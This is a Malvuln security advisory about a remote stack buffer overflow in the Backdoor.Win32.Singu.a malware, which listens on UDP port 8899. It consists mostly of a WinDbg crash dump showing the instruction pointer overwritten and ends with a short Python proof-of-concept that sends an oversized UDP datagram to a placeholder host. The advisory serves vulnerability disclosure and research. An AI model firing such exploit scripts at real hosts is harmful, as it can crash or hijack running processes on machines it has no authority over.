Backdoor.Win32.Singu.a / Remote Stack Buffer Overflow (UDP Datagram)

2021.05.22
us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/c7aabf5d248c6974b4cea6c070d6d441.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Singu.a Vulnerability: Remote Stack Buffer Overflow (UDP Datagram) Description: The malware listens on UDP ports 2211 and 8899. Third-party attackers who can reach an infected host can send a specially crafted UDP packet to port 8899, triggering a classic buffer overflow overwriting ECX and EIP registers. Type: PE32 MD5: c7aabf5d248c6974b4cea6c070d6d441 Vuln ID: MVID-2021-0221 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 05/22/2021 Memory Dump: 1334.2330): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1448 ebp=000a1468 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1448 ebp=000a1468 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe FAULTING_IP: Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441+3b10 00403b10 8b4af8 mov ecx,dword ptr [edx-8] EXCEPTION_RECORD: 0019f7d8 -- (.exr 0x19f7d8) ExceptionAddress: 00403b10 (Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441+0x00003b10) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414139 Attempt to read from address 41414139 PROCESS_NAME: Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441+3b10 00403b10 8b4af8 mov ecx,dword ptr [edx-8] FAILED_INSTRUCTION_ADDRESS: +3b10 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019f828 -- (.cxr 0x19f828) eax=0019fce4 ebx=000002c9 ecx=00000000 edx=41414141 esi=0019fd5c edi=04282ed4 eip=00403b10 esp=0019fc88 ebp=0019fcf0 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441+0x3b10: 00403b10 8b4af8 mov ecx,dword ptr [edx-8] ds:002b:41414139=???????? Resetting default scope FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 41414141 to 00403b10 FRAME_ONE_INVALID: 1 STACK_TEXT: 0019fc88 00403b10 backdoor_win32_singu_a+0x3b10 0019fcf8 41414141 unknown!printable+0x0 0019fcfc 41414141 unknown!printable+0x0 0019fd00 41414141 unknown!printable+0x0 0019fd04 41414141 unknown!printable+0x0 0019fd08 41414141 unknown!printable+0x0 0019fd0c 41414141 unknown!printable+0x0 0019fd10 41414141 unknown!printable+0x0 0019fd14 41414141 unknown!printable+0x0 0019fd18 41414141 unknown!printable+0x0 0019fd1c 41414141 unknown!printable+0x0 0019fd20 41414141 unknown!printable+0x0 0019fd24 41414141 unknown!printable+0x0 0019fd28 41414141 unknown!printable+0x0 0019fd2c 41414141 unknown!printable+0x0 0019fd30 41414141 unknown!printable+0x0 0019fd34 41414141 unknown!printable+0x0 0019fd38 41414141 unknown!printable+0x0 0019fd3c 41414141 unknown!printable+0x0 0019fd40 41414141 unknown!printable+0x0 0019fd44 41414141 unknown!printable+0x0 0019fd48 41414141 unknown!printable+0x0 0019fd4c 41414141 unknown!printable+0x0 0019fd50 41414141 unknown!printable+0x0 0019fd54 41414141 unknown!printable+0x0 0019fd58 41414141 unknown!printable+0x0 0019fd5c 41414141 unknown!printable+0x0 0019fd60 41414141 unknown!printable+0x0 0019fd64 41414141 unknown!printable+0x0 0019fd68 41414141 unknown!printable+0x0 0019fd6c 41414141 unknown!printable+0x0 0019fd70 41414141 unknown!printable+0x0 0019fd74 41414141 unknown!printable+0x0 0019fd78 41414141 unknown!printable+0x0 0019fd7c 41414141 unknown!printable+0x0 0019fd80 41414141 unknown!printable+0x0 0019fd84 41414141 unknown!printable+0x0 0019fd88 41414141 unknown!printable+0x0 0019fd8c 41414141 unknown!printable+0x0 0019fd90 41414141 unknown!printable+0x0 0019fd94 41414141 unknown!printable+0x0 0019fd98 41414141 unknown!printable+0x0 0019fd9c 41414141 unknown!printable+0x0 0019fda0 41414141 unknown!printable+0x0 0019fda4 41414141 unknown!printable+0x0 0019fda8 41414141 unknown!printable+0x0 0019fdac 41414141 unknown!printable+0x0 0019fdb0 41414141 unknown!printable+0x0 0019fdb4 41414141 unknown!printable+0x0 0019fdb8 41414141 unknown!printable+0x0 0019fdbc 41414141 unknown!printable+0x0 0019fdc0 41414141 unknown!printable+0x0 0019fdc4 41414141 unknown!printable+0x0 0019fdc8 41414141 unknown!printable+0x0 0019fdcc 41414141 unknown!printable+0x0 0019fdd0 41414141 unknown!printable+0x0 0019fdd4 41414141 unknown!printable+0x0 0019fdd8 41414141 unknown!printable+0x0 0019fddc 41414141 unknown!printable+0x0 0019fde0 41414141 unknown!printable+0x0 0019fde4 41414141 unknown!printable+0x0 0019fde8 41414141 unknown!printable+0x0 0019fdec 41414141 unknown!printable+0x0 0019fdf0 41414141 unknown!printable+0x0 0019fdf4 41414141 unknown!printable+0x0 0019fdf8 41414141 unknown!printable+0x0 0019fdfc 41414141 unknown!printable+0x0 0019fe00 41414141 unknown!printable+0x0 0019fe04 41414141 unknown!printable+0x0 0019fe08 41414141 unknown!printable+0x0 0019fe0c 41414141 unknown!printable+0x0 0019fe10 41414141 unknown!printable+0x0 0019fe14 41414141 unknown!printable+0x0 0019fe18 41414141 unknown!printable+0x0 0019fe1c 41414141 unknown!printable+0x0 0019fe20 41414141 unknown!printable+0x0 0019fe24 41414141 unknown!printable+0x0 0019fe28 41414141 unknown!printable+0x0 0019fe2c 41414141 unknown!printable+0x0 0019fe30 41414141 unknown!printable+0x0 0019fe34 41414141 unknown!printable+0x0 0019fe38 41414141 unknown!printable+0x0 0019fe3c 41414141 unknown!printable+0x0 0019fe40 41414141 unknown!printable+0x0 0019fe44 41414141 unknown!printable+0x0 0019fe48 41414141 unknown!printable+0x0 0019fe4c 41414141 unknown!printable+0x0 0019fe50 41414141 unknown!printable+0x0 0019fe54 41414141 unknown!printable+0x0 0019fe58 41414141 unknown!printable+0x0 0019fe5c 41414141 unknown!printable+0x0 0019fe60 41414141 unknown!printable+0x0 0019fe64 41414141 unknown!printable+0x0 0019fe68 41414141 unknown!printable+0x0 0019fe6c 41414141 unknown!printable+0x0 0019fe70 41414141 unknown!printable+0x0 0019fe74 41414141 unknown!printable+0x0 0019fe78 41414141 unknown!printable+0x0 0019fe7c 41414141 unknown!printable+0x0 0019fe80 41414141 unknown!printable+0x0 0019fe84 41414141 unknown!printable+0x0 0019fe88 41414141 unknown!printable+0x0 0019fe8c 41414141 unknown!printable+0x0 0019fe90 41414141 unknown!printable+0x0 0019fe94 41414141 unknown!printable+0x0 0019fe98 41414141 unknown!printable+0x0 0019fe9c 41414141 unknown!printable+0x0 0019ff9c 77ae4a77 ntdll!__RtlUserThreadStart+0x2f 0019ffe4 77ae4a47 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: .cxr 000000000019F828 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19fc88 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: backdoor_win32_singu_a+3b10 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Singu_a_c7aabf5d248c6974b4cea6c070d6d441 IMAGE_NAME: Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19 BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_singu_a+3b10 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Singu.a.c7aabf5d248c6974b4cea6c070d6d441.exe!Unknown Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=8899 def doit(): s=socket(AF_INET, SOCK_DGRAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*713 s.send(PAYLOAD) s.close() print("Backdoor.Win32.Singu.a / Remote Stack Buffer Overflow (UDP Datagram)") print("MD5: c7aabf5d248c6974b4cea6c070d6d441") print("Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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